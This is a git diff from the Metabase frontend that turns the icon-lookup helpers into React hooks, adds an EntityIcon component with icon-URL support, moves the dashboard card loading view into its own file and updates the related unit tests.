diff --git a/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/SearchResults.tsx b/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/SearchResults.tsx
index 88f6d9812e1..ce8fb077f01 100644
--- a/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/SearchResults.tsx
+++ b/frontend/src/metabase/common/components/Pickers/EntityPicker/components/ItemLists/SearchResults.tsx
@@ -1,10 +1,11 @@
import { t } from "ttag";
import { EmptyState } from "metabase/common/components/EmptyState";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
import { VirtualizedList } from "metabase/common/components/VirtualizedList";
import { NoObjectError } from "metabase/common/components/errors/NoObjectError";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { PLUGIN_LIBRARY, PLUGIN_MODERATION } from "metabase/plugins";
import {
Box,
@@ -27,7 +28,7 @@ import {
useCurrentSearchScope,
useGetLastCollection,
} from "../../hooks/use-current-search-scope";
-import { getEntityPickerIcon, isSelectedItem } from "../../utils";
+import { isSelectedItem, useGetEntityPickerIcon } from "../../utils";
export const SearchResults = ({
searchResults,
@@ -43,6 +44,7 @@ export const SearchResults = ({
const { path, setPath, isDisabledItem, isSelectableItem, options, onChange } =
useOmniPickerContext();
const selectedItem = path?.[path.length - 1];
+ const getEntityPickerIcon = useGetEntityPickerIcon();
if (isLoading || error) {
return (
@@ -102,9 +104,9 @@ export const SearchResults = ({
}
active={isSelected}
leftSection={
- <Icon
+ <EntityIcon
{...getEntityPickerIcon(item, { isSelected })}
- size={16}
+ size="1rem"
/>
}
onClick={(e: React.MouseEvent) => {
@@ -163,7 +165,9 @@ const getItemText = (item: OmniPickerItem) => {
: (item?.collection?.name ?? t`Our analytics`);
};
-const getLocationIcon = (item: OmniPickerItem) => {
+const useLocationIcon = (item: OmniPickerItem) => {
+ const getIcon = useGetIcon();
+
if (
item.model === "table" ||
item.model === "schema" ||
@@ -190,13 +194,12 @@ const LocationInfo = ({
isSelected: boolean;
}) => {
const itemText = getItemText(item);
+ const iconProps = useLocationIcon(item);
if (!itemText) {
return null;
}
- const iconProps = getLocationIcon(item);
-
return (
<Flex gap="xs" align="center">
{iconProps && <Icon {...iconProps} size={12} />}
diff --git a/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.ts b/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.ts
index f773bc2eeca..34b64a279b8 100644
--- a/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.ts
+++ b/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.ts
@@ -1,6 +1,8 @@
+import { useCallback } from "react";
import _ from "underscore";
-import { type IconData, getIcon } from "metabase/common/utils/icon";
+import type { IconData } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import type { ColorName } from "metabase/ui/colors/types";
import type {
CollectionItemModel,
@@ -18,35 +20,42 @@ import {
type PickerItemFunctions,
} from "./types";
-export const getEntityPickerIcon = (
- item: OmniPickerItem,
- {
- isSelected,
- isTenantUser,
- }: {
- isSelected?: boolean;
- isTenantUser?: boolean;
- } = {},
-): IconData & { c?: ColorName } => {
- const icon = getIcon(item, { isTenantUser });
-
- if (item.id === "search-results") {
- icon.name = "search";
- }
+export const useGetEntityPickerIcon = () => {
+ const getIcon = useGetIcon();
+
+ return useCallback(
+ (
+ item: OmniPickerItem,
+ {
+ isSelected,
+ isTenantUser,
+ }: {
+ isSelected?: boolean;
+ isTenantUser?: boolean;
+ } = {},
+ ): IconData & { c?: ColorName } => {
+ const icon = getIcon(item, { isTenantUser });
+
+ if (item.id === "search-results") {
+ icon.name = "search";
+ }
- if (isSelected && !icon.color) {
- icon.color = "text-primary-inverse";
- }
+ if (isSelected && !icon.color) {
+ icon.color = "text-primary-inverse";
+ }
- if (icon.name === "folder" && isSelected) {
- icon.name = "folder_filled";
- }
+ if (icon.name === "folder" && isSelected) {
+ icon.name = "folder_filled";
+ }
- if (item.id === "recents") {
- icon.name = "clock";
- }
+ if (item.id === "recents") {
+ icon.name = "clock";
+ }
- return { ...icon, color: undefined, c: icon.color ?? "brand" };
+ return { ...icon, color: undefined, c: icon.color ?? "brand" };
+ },
+ [getIcon],
+ );
};
const isSameNamespace = (
diff --git a/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.unit.spec.ts b/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.unit.spec.ts
index 125e7215936..902e4b5e070 100644
--- a/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.unit.spec.ts
+++ b/frontend/src/metabase/common/components/Pickers/EntityPicker/utils.unit.spec.ts
@@ -1,4 +1,5 @@
-import { getIcon } from "metabase/common/utils/icon";
+import { renderHook } from "@testing-library/react";
+
import type { CollectionItemModel } from "metabase-types/api";
import {
@@ -9,15 +10,15 @@ import {
} from "./types";
import {
getCollectionType,
- getEntityPickerIcon,
getItemFunctions,
getNamespacesFromModels,
getValidCollectionItemModels,
isSelectedItem,
+ useGetEntityPickerIcon,
} from "./utils";
-jest.mock("metabase/common/utils/icon", () => ({
- getIcon: jest.fn(),
+jest.mock("metabase/hooks/use-icon", () => ({
+ useGetIcon: () => jest.fn().mockReturnValue({ name: "unknown" }),
}));
describe("EntityPicker utils", () => {
@@ -25,9 +26,17 @@ describe("EntityPicker utils", () => {
jest.clearAllMocks();
});
- describe("getEntityPickerIcon", () => {
+ describe("useGetEntityPickerIcon", () => {
+ const setupHook = (mockReturn: { name: string; color?: string }) => {
+ const mockGetIcon = jest.fn().mockReturnValue(mockReturn);
+ jest.requireMock("metabase/hooks/use-icon").useGetIcon = () =>
+ mockGetIcon;
+ const { result } = renderHook(() => useGetEntityPickerIcon());
+ return { getEntityPickerIcon: result.current, mockGetIcon };
+ };
+
it("should return the icon from getIcon", () => {
- (getIcon as jest.Mock).mockReturnValue({
+ const { getEntityPickerIcon, mockGetIcon } = setupHook({
name: "table",
color: "text-dark",
});
@@ -38,13 +47,17 @@ describe("EntityPicker utils", () => {
c: "text-dark",
color: undefined,
});
- expect(getIcon).toHaveBeenCalledWith(item, { isTenantUser: undefined });
+ expect(mockGetIcon).toHaveBeenCalledWith(item, {
+ isTenantUser: undefined,
+ });
});
it("should set color to text-primary-inverse if selected and no color present", () => {
- (getIcon as jest.Mock).mockReturnValue({ name: "table" });
+ const { getEntityPickerIcon } = setupHook({ name: "table" });
const item = { id: 1, model: "table" } as OmniPickerItem;
- const result = getEntityPickerIcon(item, { isSelected: true });
+ const result = getEntityPickerIcon(item, {
+ isSelected: true,
+ });
expect(result).toEqual({
name: "table",
c: "text-primary-inverse",
@@ -53,12 +66,14 @@ describe("EntityPicker utils", () => {
});
it("should change folder icon to folder_filled if selected", () => {
- (getIcon as jest.Mock).mockReturnValue({
+ const { getEntityPickerIcon } = setupHook({
name: "folder",
color: "text-yellow",
});
const item = { id: 1, model: "collection" } as OmniPickerItem;
- const result = getEntityPickerIcon(item, { isSelected: true });
+ const result = getEntityPickerIcon(item, {
+ isSelected: true,
+ });
expect(result).toEqual({
name: "folder_filled",
c: "text-yellow",
diff --git a/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItem.tsx b/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItem.tsx
index 3a0efcc2505..b5a9c76081e 100644
--- a/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItem.tsx
+++ b/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItem.tsx
@@ -1,4 +1,5 @@
-import { getIcon } from "metabase/common/utils/icon";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { Box, Ellipsified, Icon, Menu, type MenuItemProps } from "metabase/ui";
import type {
@@ -22,11 +23,12 @@ export const MiniPickerItem = ({
onClick?: () => void;
isFolder?: boolean;
} & MenuItemProps) => {
+ const getIcon = useGetIcon();
return (
<Box px="sm" py="2px">
<Menu.Item
leftSection={
- model ? <Icon {...getIcon({ model, display })} /> : undefined
+ model ? <EntityIcon {...getIcon({ model, display })} /> : undefined
}
rightSection={isFolder ? <Icon name="chevronright" /> : undefined}
onClick={onClick}
diff --git a/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItemList.tsx b/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItemList.tsx
index d54700126d3..ccede5526ff 100644
--- a/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItemList.tsx
+++ b/frontend/src/metabase/common/components/Pickers/MiniPicker/components/MiniPickerItemList.tsx
@@ -16,7 +16,7 @@ import { canCollectionCardBeUsed } from "metabase/common/components/Pickers/util
import { VirtualizedList } from "metabase/common/components/VirtualizedList";
import { useSetting } from "metabase/common/hooks";
import { useDebouncedValue } from "metabase/common/hooks/use-debounced-value";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { PLUGIN_LIBRARY } from "metabase/plugins";
import { useSelector } from "metabase/redux";
import {
@@ -471,7 +471,9 @@ const isMeasure = (
return item.model === "measure";
};
-const getLocationDetails = (item: MiniPickerPickableItem) => {
+const useLocationDetails = (item: MiniPickerPickableItem) => {
+ const getIcon = useGetIcon();
+
if (isTableInDb(item)) {
return {
itemText: `${item.database_name}${item.table_schema ? ` (${item.table_schema})` : ""}`,
@@ -491,7 +493,7 @@ const getLocationDetails = (item: MiniPickerPickableItem) => {
};
const LocationInfo = ({ item }: { item: MiniPickerPickableItem }) => {
- const { itemText, iconProps } = getLocationDetails(item);
+ const { itemText, iconProps } = useLocationDetails(item);
if (!itemText) {
return null;
diff --git a/frontend/src/metabase/common/components/SaveQuestionModal/SaveQuestionModal.unit.spec.tsx b/frontend/src/metabase/common/components/SaveQuestionModal/SaveQuestionModal.unit.spec.tsx
index 399b19c8d09..f23429adffb 100644
--- a/frontend/src/metabase/common/components/SaveQuestionModal/SaveQuestionModal.unit.spec.tsx
+++ b/frontend/src/metabase/common/components/SaveQuestionModal/SaveQuestionModal.unit.spec.tsx
@@ -7,6 +7,7 @@ import {
setupCollectionByIdEndpoint,
setupCollectionItemsEndpoint,
setupCollectionsEndpoints,
+ setupCustomVizPluginListEndpoint,
setupDashboardEndpoints,
setupDatabasesEndpoints,
setupLibraryEndpoints,
@@ -123,6 +124,7 @@ const setup = async (
setupDashboardEndpoints(BAR_DASH);
setupLibraryEndpoints();
setupDatabasesEndpoints([]);
+ setupCustomVizPluginListEndpoint();
setupRecentViewsAndSelectionsEndpoints([], ["selections"]);
setupRecentViewsAndSelectionsEndpoints(
diff --git a/frontend/src/metabase/common/components/SelectList/SelectListItem.styled.tsx b/frontend/src/metabase/common/components/SelectList/SelectListItem.styled.tsx
index 0989b628758..01f125d49c0 100644
--- a/frontend/src/metabase/common/components/SelectList/SelectListItem.styled.tsx
+++ b/frontend/src/metabase/common/components/SelectList/SelectListItem.styled.tsx
@@ -3,14 +3,16 @@ import { css } from "@emotion/react";
// eslint-disable-next-line no-restricted-imports
import styled from "@emotion/styled";
-import { Icon, Text, type TextProps } from "metabase/ui";
+import { Text, type TextProps } from "metabase/ui";
+
+import { EntityIcon } from "../EntityIcon";
export const ItemTitle = styled(Text)<TextProps>`
margin: 0;
word-break: break-word;
` as unknown as typeof Text;
-export const ItemIcon = styled(Icon)`
+export const ItemIcon = styled(EntityIcon)`
justify-self: end;
color: var(--mb-color-brand);
`;
diff --git a/frontend/src/metabase/common/components/SelectList/SelectListItem.tsx b/frontend/src/metabase/common/components/SelectList/SelectListItem.tsx
index 18ab9ad62eb..be4594f2b76 100644
--- a/frontend/src/metabase/common/components/SelectList/SelectListItem.tsx
+++ b/frontend/src/metabase/common/components/SelectList/SelectListItem.tsx
@@ -13,7 +13,7 @@ export interface SelectListItemProps extends Omit<
"children"
> {
name: string;
- icon?: string | IconProps;
+ icon?: string | IconProps | (IconProps & { iconUrl?: string });
rightIcon?: string | IconProps;
children?: React.ReactNode;
classNames?: {
@@ -36,6 +36,8 @@ export function SelectListItem({
}: SelectListItemProps) {
const iconProps = getIconProps(icon);
const rightIconProps = getIconProps(rightIcon);
+ const iconUrl =
+ _.isObject(icon) && "iconUrl" in icon ? icon.iconUrl : undefined;
return (
<BaseSelectListItem
@@ -47,7 +49,13 @@ export function SelectListItem({
hasLeftIcon={!!icon}
hasRightIcon={!!rightIcon}
>
- {icon && <ItemIcon className={classNames.icon} {...iconProps} />}
+ {icon && (
+ <ItemIcon
+ iconUrl={iconUrl}
+ className={classNames.icon}
+ {...iconProps}
+ />
+ )}
<ItemTitle
className={classNames.label}
fw="bold"
diff --git a/frontend/src/metabase/common/utils/icon.ts b/frontend/src/metabase/common/utils/icon.ts
index 4836ab0feca..15fa12d37d0 100644
--- a/frontend/src/metabase/common/utils/icon.ts
+++ b/frontend/src/metabase/common/utils/icon.ts
@@ -1,9 +1,5 @@
-import { getLibraryCollectionType } from "metabase/data-studio/utils";
-import { PERSONAL_COLLECTIONS } from "metabase/entities/collections/constants";
-import { PLUGIN_COLLECTIONS } from "metabase/plugins";
import type { IconName } from "metabase/ui";
import type { ColorName } from "metabase/ui/colors";
-import { getIconForVisualizationType } from "metabase/visualizations";
import type {
CardType,
Collection,
@@ -67,72 +63,6 @@ export const modelIconMap: Record<IconModel, IconName> = {
export type IconData = {
name: IconName;
color?: ColorName;
+ iconUrl?: string;
tooltip?: string;
};
-
-const getCollectionIcon = (item: ObjectWithModel): IconData | void => {
- if (item.model !== "collection") {
- return;
- }
-
- if (item.id === PERSONAL_COLLECTIONS.id) {
- return { name: "group" };
- }
-
- if (item.is_personal && item.location === "/") {
- return { name: "person" };
- }
-
- if (item.id === "databases") {
- return { name: "database" };
- }
-
- switch (getLibraryCollectionType(item.type as CollectionType)) {
- case "root":
- return { name: "repository" };
- case "data":
- return { name: "table" };
- case "metrics":
- return { name: "metric" };
- }
-};
-
-const getModelIcon = (model: IconModel): IconData => {
- return {
- name: modelIconMap[model] ?? "unknown",
- };
-};
-
-/**
- * Get an Icon for any entity object, doesn't depend on the entity system.
- */
-export const getIconBase = (item: ObjectWithModel): IconData => {
- if (item.model === "card" && item.display) {
- return {
- name: getIconForVisualizationType(item.display),
- };
- }
-
- if (item.model === "collection") {
- const data = getCollectionIcon(item);
- if (data) {
- return data;
- }
- }
-
- return getModelIcon(item.model);
-};
-
-/**
- * relies mainly on the `model` property to determine the icon to return
- * also handle special collection icons and visualization types for cards
- */
-export const getIcon = (
- item: ObjectWithModel,
- { isTenantUser = false }: { isTenantUser?: boolean } = {},
-): IconData => {
- if (PLUGIN_COLLECTIONS) {
- return PLUGIN_COLLECTIONS.getIcon(item, { isTenantUser });
- }
- return getIconBase(item);
-};
diff --git a/frontend/src/metabase/dashboard/components/DashCard/DashCardLoadingView.tsx b/frontend/src/metabase/dashboard/components/DashCard/DashCardLoadingView.tsx
new file mode 100644
index 00000000000..07ef8e298f9
--- /dev/null
+++ b/frontend/src/metabase/dashboard/components/DashCard/DashCardLoadingView.tsx
@@ -0,0 +1,84 @@
+import cx from "classnames";
+import { jt, t } from "ttag";
+
+import { ExternalLink } from "metabase/common/components/ExternalLink/ExternalLink";
+import { useLearnUrl } from "metabase/common/hooks";
+import CS from "metabase/css/core/index.css";
+import { Box, Button, HoverCard, Icon, Text, Transition } from "metabase/ui";
+import { duration } from "metabase/utils/formatting";
+import type { LoadingViewProps } from "metabase/visualizations/components/Visualization/LoadingView/LoadingView";
+import ChartSkeleton from "metabase/visualizations/components/skeletons/ChartSkeleton";
+import type { CardDisplayType } from "metabase-types/api";
+
+export const DashCardLoadingView = ({
+ isSlow,
+ expectedDuration,
+ display,
+}: LoadingViewProps & { display?: CardDisplayType }) => {
+ const { url, showMetabaseLinks } = useLearnUrl(
+ "metabase-basics/administration/administration-and-operation/making-dashboards-faster",
+ );
+ const getPreamble = () => {
+ if (isSlow === "usually-fast") {
+ return t`This usually loads immediately, but is currently taking longer.`;
+ }
+ if (expectedDuration) {
+ return jt`This usually takes around ${(
+ <span key="duration" className={CS.textNoWrap}>
+ {duration(expectedDuration)}
+ </span>
+ )}.`;
+ }
+ };
+
+ return (
+ <div
+ data-testid="loading-indicator"
+ className={cx(CS.px2, CS.pb2, CS.fullHeight)}
+ >
+ <ChartSkeleton display={display} />
+ <Transition
+ mounted={!!isSlow}
+ transition={{
+ in: { opacity: 1, transform: "scale(1)" },
+ out: { opacity: 0, transform: "scale(0.8)" },
+ transitionProperty: "transform, opacity",
+ }}
+ duration={80}
+ >
+ {(styles) => (
+ <Box style={styles} className={CS.absolute} left={12} bottom={12}>
+ <HoverCard width={288} offset={4} position="bottom-start">
+ <HoverCard.Target>
+ <Button w={24} h={24} p={0} classNames={{ label: cx(CS.flex) }}>
+ <Icon name="snail" size={12} d="flex" />
+ </Button>
+ </HoverCard.Target>
+ <HoverCard.Dropdown ml={-8}>
+ <div className={cx(CS.p2, CS.textCentered)}>
+ <Text fw="bold">{t`Waiting for your data`}</Text>
+ <Text lh="1.5" mt={4}>
+ {getPreamble()}{" "}
+ {t`You can use caching to speed up question loading.`}
+ </Text>
+ {showMetabaseLinks && (
+ <Button
+ mt={12}
+ variant="subtle"
+ size="compact-md"
+ rightSection={<Icon name="external" />}
+ component={ExternalLink}
+ href={url}
+ >
+ {t`Making dashboards faster`}
+ </Button>
+ )}
+ </div>
+ </HoverCard.Dropdown>
+ </HoverCard>
+ </Box>
+ )}
+ </Transition>
+ </div>
+ );
+};
diff --git a/frontend/src/metabase/dashboard/components/DashCard/DashCardVisualization.tsx b/frontend/src/metabase/dashboard/components/DashCard/DashCardVisualization.tsx
index 02f7c715c5c..ae5606b12d6 100644
--- a/frontend/src/metabase/dashboard/components/DashCard/DashCardVisualization.tsx
+++ b/frontend/src/metabase/dashboard/components/DashCard/DashCardVisualization.tsx
@@ -2,11 +2,9 @@ import cx from "classnames";
import type { LocationDescriptorObject } from "history";
import { useCallback, useMemo } from "react";
import { push } from "react-router-redux";
-import { jt, t } from "ttag";
+import { t } from "ttag";
import _ from "underscore";
-import { ExternalLink } from "metabase/common/components/ExternalLink/ExternalLink";
-import { useLearnUrl } from "metabase/common/hooks";
import CS from "metabase/css/core/index.css";
import { setParameterValuesFromQueryParams } from "metabase/dashboard/actions/parameters";
import { useDashboardContext } from "metabase/dashboard/context";
@@ -22,21 +20,14 @@ import { PLUGIN_CONTENT_TRANSLATION } from "metabase/plugins";
import { useDispatch, useSelector } from "metabase/redux";
import { getSetting } from "metabase/selectors/settings";
import {
- Box,
- Button,
Flex,
Group,
- HoverCard,
- Icon,
type IconName,
type IconProps,
Menu,
- Text,
Title,
- Transition,
} from "metabase/ui";
import { isVirtualDashCard } from "metabase/utils/dashboard";
-import { duration } from "metabase/utils/formatting";
import { measureTextWidth } from "metabase/utils/measure-text";
import { getVisualizationRaw, isCartesianChart } from "metabase/visualizations";
import Visualization from "metabase/visualizations/components/Visualization";
@@ -45,7 +36,6 @@ import {
LEGEND_LABEL_FONT_SIZE,
LEGEND_LABEL_FONT_WEIGHT,
} from "metabase/visualizations/components/legend/LegendCaption";
-import ChartSkeleton from "metabase/visualizations/components/skeletons/ChartSkeleton";
import { extendCardWithDashcardSettings } from "metabase/visualizations/lib/settings/typed-utils";
import { getComputedSettingsForSeries } from "metabase/visualizations/lib/settings/visualization";
import type {
@@ -64,7 +54,6 @@ import type Question from "metabase-lib/v1/Question";
import type Metadata from "metabase-lib/v1/metadata/Metadata";
import type {
Card,
- CardDisplayType,
CardId,
DashCardId,
DashboardCard,
@@ -80,6 +69,7 @@ import type {
import { CollapsibleDashboardParameterList } from "../CollapsibleDashboardParameterList";
import { ClickBehaviorSidebarOverlay } from "./ClickBehaviorSidebarOverlay/ClickBehaviorSidebarOverlay";
+import { DashCardLoadingView } from "./DashCardLoadingView";
import { DashCardMenu } from "./DashCardMenu/DashCardMenu";
import { DashCardParameterMapper } from "./DashCardParameterMapper/DashCardParameterMapper";
import S from "./DashCardVisualization.module.css";
@@ -90,79 +80,6 @@ import {
shouldShowParameterMapper,
} from "./utils";
-const DashCardLoadingView = ({
- isSlow,
- expectedDuration,
- display,
-}: LoadingViewProps & { display?: CardDisplayType }) => {
- const { url, showMetabaseLinks } = useLearnUrl(
- "metabase-basics/administration/administration-and-operation/making-dashboards-faster",
- );
- const getPreamble = () => {
- if (isSlow === "usually-fast") {
- return t`This usually loads immediately, but is currently taking longer.`;
- }
- if (expectedDuration) {
- return jt`This usually takes around ${(
- <span key="duration" className={CS.textNoWrap}>
- {duration(expectedDuration)}
- </span>
- )}.`;
- }
- };
-
- return (
- <div
- data-testid="loading-indicator"
- className={cx(CS.px2, CS.pb2, CS.fullHeight)}
- >
- <ChartSkeleton display={display} />
- <Transition
- mounted={!!isSlow}
- transition={{
- in: { opacity: 1, transform: "scale(1)" },
- out: { opacity: 0, transform: "scale(0.8)" },
- transitionProperty: "transform, opacity",
- }}
- duration={80}
- >
- {(styles) => (
- <Box style={styles} className={CS.absolute} left={12} bottom={12}>
- <HoverCard width={288} offset={4} position="bottom-start">
- <HoverCard.Target>
- <Button w={24} h={24} p={0} classNames={{ label: cx(CS.flex) }}>
- <Icon name="snail" size={12} d="flex" />
- </Button>
- </HoverCard.Target>
- <HoverCard.Dropdown ml={-8}>
- <div className={cx(CS.p2, CS.textCentered)}>
- <Text fw="bold">{t`Waiting for your data`}</Text>
- <Text lh="1.5" mt={4}>
- {getPreamble()}{" "}
- {t`You can use caching to speed up question loading.`}
- </Text>
- {showMetabaseLinks && (
- <Button
- mt={12}
- variant="subtle"
- size="compact-md"
- rightSection={<Icon name="external" />}
- component={ExternalLink}
- href={url}
- >
- {t`Making dashboards faster`}
- </Button>
- )}
- </div>
- </HoverCard.Dropdown>
- </HoverCard>
- </Box>
- )}
- </Transition>
- </div>
- );
-};
-
/**
* This populates the `data` field of each series with an empty
* object if it doesn't already have one. This is useful to compute
diff --git a/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.tsx b/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.tsx
index aade09c183e..362ba7d45ab 100644
--- a/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.tsx
+++ b/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.tsx
@@ -6,10 +6,12 @@ import { Divider, Flex } from "metabase/ui";
import { getVisualizationRaw } from "metabase/visualizations";
import { BaseChartSettings } from "metabase/visualizations/components/ChartSettings/BaseChartSettings";
import { ChartSettingsVisualization } from "metabase/visualizations/components/ChartSettings/ChartSettingsVisualization";
-import { useChartSettingsState } from "metabase/visualizations/components/ChartSettings/hooks";
+import {
+ useChartSettingsState,
+ useSettingsWidgets,
+} from "metabase/visualizations/components/ChartSettings/hooks";
import { getClickBehaviorSettings } from "metabase/visualizations/lib/settings";
import { sanitizeDashcardSettings } from "metabase/visualizations/lib/settings/typed-utils";
-import { getSettingsWidgetsForSeries } from "metabase/visualizations/lib/settings/visualization";
import type { VisualizationSettings } from "metabase-types/api";
import type { DashboardChartSettingsProps } from "./types";
@@ -19,7 +21,6 @@ export const DashboardChartSettings = ({
onChange,
series,
onClose,
- widgets: propWidgets,
settings,
}: DashboardChartSettingsProps) => {
const { dashboard } = useDashboardContext();
@@ -71,18 +72,19 @@ export const DashboardChartSettings = ({
? handleResetSettings
: null;
- const widgets = useMemo(
- () =>
- propWidgets ||
- getSettingsWidgetsForSeries(
- transformedSeries,
- handleChangeSettings,
- true,
- { dashboardId: dashboard?.id },
- ),
- [propWidgets, transformedSeries, handleChangeSettings, dashboard?.id],
+ const extra = useMemo(
+ () => ({ dashboardId: dashboard?.id }),
+ [dashboard?.id],
);
+ const widgets = useSettingsWidgets({
+ series,
+ transformedSeries,
+ handleChangeSettings,
+ isDashboard: true,
+ extra,
+ });
+
return (
<Flex justify="unset" align="unset" wrap="nowrap" h="100%">
<BaseChartSettings
diff --git a/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.unit.spec.tsx b/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.unit.spec.tsx
index 5868209aa68..0b8690f500f 100644
--- a/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.unit.spec.tsx
+++ b/frontend/src/metabase/dashboard/components/DashboardChartSettings/DashboardChartSettings.unit.spec.tsx
@@ -61,7 +61,6 @@ describe("DashboardChartSettings", () => {
card: createMockCard({ visualization_settings: originalVizSettings }),
}),
settings: modifiedSettings,
- widgets: [],
onChange,
});
diff --git a/frontend/src/metabase/dashboard/components/DashboardChartSettings/types.ts b/frontend/src/metabase/dashboard/components/DashboardChartSettings/types.ts
index 0cd0ab48519..ba80b13460c 100644
--- a/frontend/src/metabase/dashboard/components/DashboardChartSettings/types.ts
+++ b/frontend/src/metabase/dashboard/components/DashboardChartSettings/types.ts
@@ -1,5 +1,4 @@
import type { CommonChartSettingsProps } from "metabase/visualizations/components/ChartSettings/types";
-import type { Widget } from "metabase/visualizations/types";
import type { Dashboard, DashboardCard } from "metabase-types/api";
export type DashboardChartSettingsProps = {
@@ -7,6 +6,5 @@ export type DashboardChartSettingsProps = {
dashboard?: Dashboard;
dashcard?: DashboardCard;
isDashboard?: boolean;
- widgets?: Widget[];
onClose?: () => void;
} & CommonChartSettingsProps;
diff --git a/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionList.tsx b/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionList.tsx
index e0b5c882e57..2449c8a0e00 100644
--- a/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionList.tsx
+++ b/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionList.tsx
@@ -13,11 +13,11 @@ import { PaginationControls } from "metabase/common/components/PaginationControl
import { SelectList } from "metabase/common/components/SelectList";
import type { BaseSelectListItemProps } from "metabase/common/components/SelectList/BaseSelectListItem";
import { usePagination } from "metabase/common/hooks/use-pagination";
-import { getIcon } from "metabase/common/utils/icon";
import { addCardWithVisualization } from "metabase/dashboard/actions";
import { getSelectedTabId } from "metabase/dashboard/selectors";
import { isEmbeddingSdk } from "metabase/embedding-sdk/config";
import { Search } from "metabase/entities/search";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { PLUGIN_MODERATION } from "metabase/plugins";
import { useDispatch, useSelector } from "metabase/redux";
import { ActionIcon, Box, Flex, Icon, Tooltip } from "metabase/ui";
@@ -48,6 +48,7 @@ export function QuestionList({
hasCollections,
showOnlyPublicCollections,
}: QuestionListProps) {
+ const getIcon = useGetIcon();
const [queryOffset, setQueryOffset] = useState(0);
const { handleNextPage, handlePreviousPage, page, setPage } = usePagination();
@@ -151,7 +152,7 @@ export function QuestionList({
className={S.QuestionListItem}
name={item.name}
icon={{
- name: getIcon(item).name,
+ ...getIcon(item),
size: item.model === "dataset" ? 18 : 16,
className: S.QuestionListItemIcon,
}}
diff --git a/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionPicker.tsx b/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionPicker.tsx
index eccaf6cc607..56884efbc14 100644
--- a/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionPicker.tsx
+++ b/frontend/src/metabase/dashboard/components/QuestionPicker/QuestionPicker.tsx
@@ -9,11 +9,11 @@ import { SelectList } from "metabase/common/components/SelectList";
import type { BaseSelectListItemProps } from "metabase/common/components/SelectList/BaseSelectListItem";
import { useDebouncedValue } from "metabase/common/hooks/use-debounced-value";
import { getCollectionBreadCrumbs } from "metabase/common/utils/collections";
-import { getIcon } from "metabase/common/utils/icon";
import { useDashboardContext } from "metabase/dashboard/context";
import { getDashboard } from "metabase/dashboard/selectors";
import { isEmbeddingSdk } from "metabase/embedding-sdk/config";
import { Collections, ROOT_COLLECTION } from "metabase/entities/collections";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { PLUGIN_COLLECTIONS } from "metabase/plugins";
import { connect, useDispatch, useSelector } from "metabase/redux";
import {
@@ -42,6 +42,7 @@ function QuestionPickerInner({
onSelect,
collectionsById: baseCollectionsById,
}: QuestionPickerInnerProps) {
+ const getIcon = useGetIcon();
const dispatch = useDispatch();
const dashboard = useSelector(getDashboard);
const dashboardCollection = dashboard?.collection ?? ROOT_COLLECTION;
diff --git a/frontend/src/metabase/dashboard/sections.ts b/frontend/src/metabase/dashboard/sections.ts
index 40774064431..568e2b6c40a 100644
--- a/frontend/src/metabase/dashboard/sections.ts
+++ b/frontend/src/metabase/dashboard/sections.ts
@@ -3,22 +3,23 @@ import { t } from "ttag";
import { GRID_WIDTH } from "metabase/utils/dashboard_grid";
import type {
DashboardCardLayoutAttrs,
+ DashboardCardPosition,
+ DashboardCardSize,
VirtualCard,
VirtualDashboardCard,
} from "metabase-types/api";
import { createVirtualCard } from "./utils";
-type Position = Pick<DashboardCardLayoutAttrs, "col" | "row">;
-type Size = Pick<DashboardCardLayoutAttrs, "size_x" | "size_y">;
-
type SectionDashboardCardAttrs = Partial<VirtualDashboardCard> &
DashboardCardLayoutAttrs & {
card: VirtualCard;
visualization_settings: { virtual_card: VirtualCard };
};
-type LayoutFn = (position: Position) => Array<SectionDashboardCardAttrs>;
+type LayoutFn = (
+ position: DashboardCardPosition,
+) => Array<SectionDashboardCardAttrs>;
// Note: these values are used in analytics and should not be changed
export type SectionId =
@@ -67,7 +68,9 @@ function createPlaceholderDashCard(
}
function createScalarDashCardPlaceholder(
- opts: Partial<VirtualDashboardCard> & Position & Partial<Size>,
+ opts: Partial<VirtualDashboardCard> &
+ DashboardCardPosition &
+ Partial<DashboardCardSize>,
): SectionDashboardCardAttrs {
return createPlaceholderDashCard({
